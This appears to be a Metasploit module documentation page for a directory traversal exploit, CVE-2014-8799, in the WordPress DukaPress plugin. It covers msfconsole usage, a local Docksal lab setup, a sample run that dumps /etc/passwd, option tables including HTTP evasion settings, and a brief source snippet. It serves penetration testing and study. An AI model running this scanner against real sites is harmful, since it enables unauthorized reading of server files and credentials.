WordPress DukaPress Plugin File Read Vulnerability - Metasploit


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Module Overview

Name: WordPress DukaPress Plugin File Read Vulnerability
Module: auxiliary/scanner/http/wp_dukapress_file_read
Source code: modules/auxiliary/scanner/http/wp_dukapress_file_read.rb
Disclosure date: -
Last modification time: 2019-10-10 15:05:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8799

This module exploits a directory traversal vulnerability in WordPress Plugin "DukaPress" version <= 2.5.3, allowing to read arbitrary files with the web server privileges.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_dukapress_file_read
msf auxiliary(wp_dukapress_file_read) > show options
    ... show and set options ...
msf auxiliary(wp_dukapress_file_read) > set RHOSTS ip-range
msf auxiliary(wp_dukapress_file_read) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_dukapress_file_read) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(wp_dukapress_file_read) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_dukapress_file_read) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module exploits a directory traversal vulnerability in WordPress Plugin "DukaPress" version 2.5.3, allowing to read arbitrary files with the web server privileges.

Vulnerable Application

Wordpress with installed DukaPress <= 2.5.3

Setup using Docksal

Install Docksal

Create a new Wordpress installation using fin project create

fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf-wp

2. What would you like to install?
  PHP based
    1.  Drupal 8
    2.  Drupal 8 (Composer Version)
    3.  Drupal 7
    4.  Wordpress
    5.  Magento
    6.  Laravel
    7.  Symfony Skeleton
    8.  Symfony WebApp
    9.  Grav CMS
    10. Backdrop CMS

  Go based
    11. Hugo

  JS based
    12. Gatsby JS
    13. Angular

  HTML
    14. Static HTML site

Enter your choice (1-14): 4

Project folder:   /home/weh/dev/msf-wp
Project software: Wordpress
Project URL:      http://msf-wp.docksal

Do you wish to proceed? [y/n]: y
Cloning repository...
Cloning into 'msf-wp'...
...
3. Installing site
 Step 1  Initializing stack...
Removing containers...
...
Starting services...
Creating network "msf-wp_default" with the default driver
Creating volume "msf-wp_cli_home" with default driver
Creating volume "msf-wp_project_root" with local driver
Creating volume "msf-wp_db_data" with default driver
Creating msf-wp_db_1  ... done
Creating msf-wp_cli_1 ... done
Creating msf-wp_web_1 ... done
Connected vhost-proxy to "msf-wp_default" network.
Waiting for project stack to become ready...
 Step 2  Initializing site...
 Step 2  Generating wp-config.php...
Success: Generated 'wp-config.php' file.
 Step 3  Installing site...
msmtp: envelope-from address is missing
Success: WordPress installed successfully.

Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin  
 DONE!  Completed all initialization steps.

Download the wordpress plugin

cd msf-wp/wp-content/plugins
wget https://downloads.wordpress.org/plugin/dukapress.2.5.3.zip
unzip dukapress.2.5.3.zip

Login and click on DukaPress "Activate" Link

http://msf-wp.docksal/wp-admin/plugins.php
user: admin
pass: admin

Verification Steps

  1. Do: use auxiliary/scanner/http/wp_dukapress_file_read
  2. Do: set RHOSTS [IP]
  3. Do: set VHOST [HOSTNAME]
  4. Do: run

Options

FILEPATH

The path to the file to read (default: /etc/passwd)

DEPTH

Traversal Depth (to reach the root folder) (default: 7)

Scenarios

Wordpress 5.2 running in Docksal

Follow the Instructions above to setup the Docksal Containers.

msf5 > use auxiliary/scanner/http/wp_dukapress_file_read
msf5 > set RHOST msf-wp.docksal
RHOST => msf-wp.docksal
msf5 > set VHOST msf-wp.docksal
VHOST => msf-wp.docksal
msf5 > run

[*] Downloading file...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
docker:x:1000:1000::/home/docker:/bin/bash

[+] File saved in: /home/weh/.msf4/loot/20191009203058_default_192.168.64.100_dukapress.file_560342.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the scanner/http/wp_dukapress_file_read auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/wp_dukapress_file_read

msf6 auxiliary(scanner/http/wp_dukapress_file_read) > show info

       Name: WordPress DukaPress Plugin File Read Vulnerability
     Module: auxiliary/scanner/http/wp_dukapress_file_read
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Kacper Szurek
  Roberto Soares Espreto <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEPTH      7                yes       Traversal Depth (to reach the root folder)
  FILEPATH   /etc/passwd      yes       The path to the file to read
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  THREADS    1                yes       The number of concurrent threads (max one per host)
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a directory traversal vulnerability in 
  WordPress Plugin "DukaPress" version <= 2.5.3, allowing to read 
  arbitrary files with the web server privileges.

References:
  https://www.exploit-db.com/exploits/35346
  https://nvd.nist.gov/vuln/detail/CVE-2014-8799
  https://wpscan.com/vulnerability/7731
  OSVDB (115130)

Module Options

This is a complete list of options available in the scanner/http/wp_dukapress_file_read auxiliary module:

msf6 auxiliary(scanner/http/wp_dukapress_file_read) > show options

Module options (auxiliary/scanner/http/wp_dukapress_file_read):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      7                yes       Traversal Depth (to reach the root folder)
   FILEPATH   /etc/passwd      yes       The path to the file to read
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/wp_dukapress_file_read auxiliary module:

msf6 auxiliary(scanner/http/wp_dukapress_file_read) > show advanced

Module advanced options (auxiliary/scanner/http/wp_dukapress_file_read):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/wp_dukapress_file_read module can do:

msf6 auxiliary(scanner/http/wp_dukapress_file_read) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/wp_dukapress_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/wp_dukapress_file_read) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Nothing was downloaded. You can try to change the DEPTH parameter.

Here is a relevant code snippet related to the "Nothing was downloaded. You can try to change the DEPTH parameter." error message:

69:	        ip,
70:	        res.body,
71:	        fname
72:	      )
73:	
74:	      print_good("File saved in: #{path}")
75:	    else
76:	      print_error("Nothing was downloaded. You can try to change the DEPTH parameter.")
77:	    end
78:	  end
79:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Kacper Szurek
  • Roberto Soares Espreto <robertoespreto[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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